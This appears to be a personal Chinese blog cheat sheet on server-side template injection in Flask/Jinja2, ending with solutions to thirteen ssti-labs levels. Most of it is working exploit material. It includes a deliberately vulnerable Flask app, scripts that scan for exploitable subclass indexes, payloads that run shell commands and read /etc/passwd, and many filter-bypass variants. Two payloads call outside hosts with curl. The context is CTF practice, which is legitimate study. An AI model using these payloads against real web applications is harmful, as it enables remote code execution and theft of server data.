SSTI 总结

发布时间 2023-07-02 21:53:17作者: kkkl_kkKL

写给自己的 不过多的去讲解其他的东西了

这里是一个ssti的实例 其实ssti造成漏洞的成因就是 把模板中带有 {{带有这类字符 之后进行了一个编译渲染

把里面的东西 当成了 代码去执行

from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    name = request.args.get('name')
    template = '''
<html>
  <head>
    <title>SSTI</title>
  </head>
 <body>
      <h3>Hello, %s !</h3>
  </body>
</html>
        '''% (name)
    return render_template_string(template)
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

在web中 ssti的考点 也就是去绕一些waf 和 去找到命令执行的方法 如果是一些新的框架的话 就需要去饭文档 找一些绕过方法

先看一下python中的字典、列表和元组

列表

a=['a','b','c']
print(a)#['a', 'b', 'c']
#嵌套列表
a=['a',['e','f'],'c','d']
print(a[1][0])#e

元组

a=('a','b','c')
print(a)#('a', 'b', 'c')

字典

字典是用key=>value 的结构

a={"a":"1","b":"2","c":"3","d":"4"}
print(a)
print(type(a))
#{'a': '1', 'b': '2', 'c': '3', 'd': '4'}
#<class 'dict'>

首先去看一下去找命令执行的类

__class__ 返回该对象所返回的类
__base__ 用于获取类的基类
__subclasses__() 获取类的所有子类 一般在找到object类之后就可以去获取它的子类了

pCDobvD.png

print(type('aaa'.__class__.__base__.__subclasses__()))#<class 'list'>

这个是列表 所以通过索引去找

然后去找命令执行的类 例如os._wrap_close

这里可以用脚本去便利去找

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    #print(res.text)
    if 'os._wrap_close' in res.text:
        print(i)

这个类里面有popen 方法 可以命令执行

先初始化这个类

{{().__class__.__bases__[0].__subclasses__()[133].__init__}}

pCDoLKe.png

调用 __globals__ 获取方法属性

print(type('aaa'.__class__.__base__.__subclasses__()[133].__init__.__globals__))#<class 'dict'>

返回的是一个字典 所以 通过键名来访问

pCDoXbd.png

找到popen

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

pCDovVA.png

还可以通过eval 函数去rce

通过url_for 这个对象去找到__builtins__的eval 方法

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}

pCDoz5t.png

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}

读取文件

在python2 中需要用到file类来读取文件

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

在python3中 需要用到_frozen_importlib_external.FileLoader 来读取文件

同样还可以用一下脚本来找到

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    #print(res.text)
    if '_frozen_importlib_external.FileLoader' in res.text:
        print(i)
{{().__class__.__bases__[0].__subclasses__()[118]["get_data"](0, "/etc/passwd")}}

SSTI命令执行

寻找eval 函数 执行命令

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://127.0.0.1:5000?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
        print(i)

找到eval 函数就直接可以命令执行

{{().__class__.__bases__[0].__subclasses__()[499].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize 这些都是带有 eval的模块

寻找os模块命令执行

os 里面可以调用 popen system 函数

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
        print(i)
{{().__class__.__bases__[0].__subclasses__()[408].__init__.__globals__['os'].popen('whoami').read()}}
{{().__class__.__bases__[0].__subclasses__()[408].__init__.__globals__['os'].system('curl 172.17.135.22:2333')}}

寻找 importlib 类执行命令

这个类可以利用load_module 导入os模块

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if '_frozen_importlib.BuiltinImporter' in res.text:
        print(i)
{{().__class__.__bases__[0].__subclasses__()[84]['load_module']("os")["popen"]("dir").read()}}

寻找 linecache 函数执行命令

linecache 这个函数中也引入了 os模块

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)
{{().__class__.__bases__[0].__subclasses__()[197].__init__.__globals__['linecache']['os'].popen('dir').read()}}

寻找 subprocess.Popen

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)

{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

绕过.

过滤点可以通过中括号

{{()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('whoami')['read']()}}

还可以通过过滤器来绕过 获取属性

{{""|attr('__class__')}}

绕过中括号[]

利用__getitem__()绕过

{{''.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('whoami').read()}}

关键字绕过

拼接

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('who'+'ami').read()}}
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['po'+'pen']('who'+'ami').read()}}

编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

Unicode编码

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['\u0070\u006f\u0070\u0065\u006e']('\u0077\u0068\u006f\u0061\u006d\u0069').read()}}

十六进制编码

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['\x70\x6f\x70\x65\x6e']('\x77\x68\x6f\x61\x6d\x69').read()}}

引号绕过

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['pope''n']('wh''oami').read()}}

利用join绕过

{{dict(__in=a,it__=a)|join}}  =__init__

过滤了引号

利用chr函数

利用 request 对象绕过

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=whoami

过滤了下划线 同样用 request 对象 来绕过

过滤{{

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

过滤了 _

{% set a=(()|select|string|list).pop(24)%}{%print(a)%}

十六进制绕过

{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

过滤了 args

通过request.cookies request.values

绕过数字

{{(dict(e=a)|join|count)}} #前面几个字符就是数字几
{% set a='zzz'|length%}{{a}}

常用payload 这个是赋值别人的

1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

ssti-labs

第一关

code={{a.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('whoami').read()}}

第二关

过滤了{{

code={%print(''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('whoami').read())%}

第三关

没有回显

code={%print(''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('curl 43.143.197.175:2334').read())%}

第四关

过滤了[]

code={{''.__class__.__base__.__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('popen')('whoami').read()}}

第五关

过滤了引号

POST /level/5?a=popen&b=whoami HTTP/1.1
Host: 172.17.135.22:5000
Content-Length: 111
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.135.22:5000
Referer: http://172.17.135.22:5000/level/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: session=eyJjc3JmX3Rva2VuIjoiNmYxNThlNDVlZjNiODNiYjYxYWQyOTdmNDAwNzcxYzdlYmQyZTg5YSJ9.ZJ2DHg.N2eWVrticz0MXzFR8ascR79Vw7c
Connection: close

code={{a.__class__.__base__.__subclasses__()[137].__init__.__globals__[request.args.a](request.args.b).read()}}

第六关

过滤了 __

code={{''['\u005f\u005fclass\u005f\u005f']['\u005f\u005fbase\u005f\u005f']['\u005f\u005fsubclasses\u005f\u005f']()[137]['\u005f\u005finit\u005f\u005f']['\u005f\u005fglobals\u005f\u005f']['popen']('whoami').read()}}

第七关

过滤了.

code={{''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen']('whoami')|attr('read')()}}

第八关

code={{''['__cla''ss__']['__ba''se__']['__subcla''sses__']()[137]['__in''it__']['__glob''als__']['pop''en']('cat flag').read()}}

第九关

过滤了数字

code={% set senve='zzzzzzz'|length%}{% set five='zzzzz'|length%}{% set four='zzss'|length%}{% set a='a'|length%}{% set c=(senve*five*four-a-a-a)%}{{c}}{{''.__class__.__base__.__subclasses__()[c].__init__.__globals__['popen']('whoami').read()}}

第十关

{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}

第十一关

过滤了 空格 引号 [] request

code=
{%set a=dict(__cla=a,ss__=b)|join %}
{%set b=dict(__ba=a,se__=b)|join %}
{%set c=dict(__subcla=a,sses__=b)|join %}
{%set d=dict(__get=a,item__=b)|join %}
{%set z=self|string|attr(d)(18)%}
{%set e=dict(pop=a,en=b)|join %}
{%set f=dict(who=a,ami=b)|join %}
{%set g=dict(re=a,ad=b)|join %}
{%set h=dict(__in=a,it__=b)|join %}
{%set i=dict(__glob=a,als__=b)|join %}
{%set j=dict(pop=a,en=b)|join %}
{%set k=(dict(cat=abc)|join,z,dict(flag=b)|join)|join %}# 空格
{%set l=dict(rea=a,d=b)|join %}
{{a|attr(a)|attr(b)|attr(c)()|attr(d)(137)|attr(h)|attr(i)|attr(d)(j)(k)|attr(l)()}}

第十二关

加了 过滤_ pop被过滤了 构造出pop 构造出 _ 用另一种方式构造数字

{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}{%print(x)%}
code={% set po=dict(po=a,p=a)|join%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}
{% set b=(x,x,dict(base=a)|join,x,x)|join()%} 
{% set c=(x,x,dict(subclasses=a)|join,x,x)|join()%}
{% set d=(x,x,dict(getitem=a)|join,x,x)|join()%}  
{% set e=(x,x,dict(init=a)|join,x,x)|join()%}  
{% set f=(x,x,dict(globals=a)|join,x,x)|join()%}
{%set h=self|string|attr(d)(eighteen)%}
{% set g=(dict(popen=a)|join)|join()%}  
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{% set i=(dict(read=a)|join)|join()%}  {{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(i)()}}

第十三关

过滤了 self 通过同一种方式获取空格

code={% set po=dict(po=a,p=a)|join%}
{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}
{% set b=(x,x,dict(base=a)|join,x,x)|join()%} 
{% set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join()%}
{% set d=(x,x,dict(get=a,item=a)|join,x,x)|join()%}  
{% set e=(x,x,dict(in=a,it=a)|join,x,x)|join()%}  
{% set f=(x,x,dict(glo=a,bals=a)|join,x,x)|join()%}
{%set h=(()|select|string|list)|attr(po)(one)%}
{% set g=(dict(po=a,pen=a)|join)|join()%}  
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{% set i=(dict(read=a)|join)|join()%}  {{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(i)()}}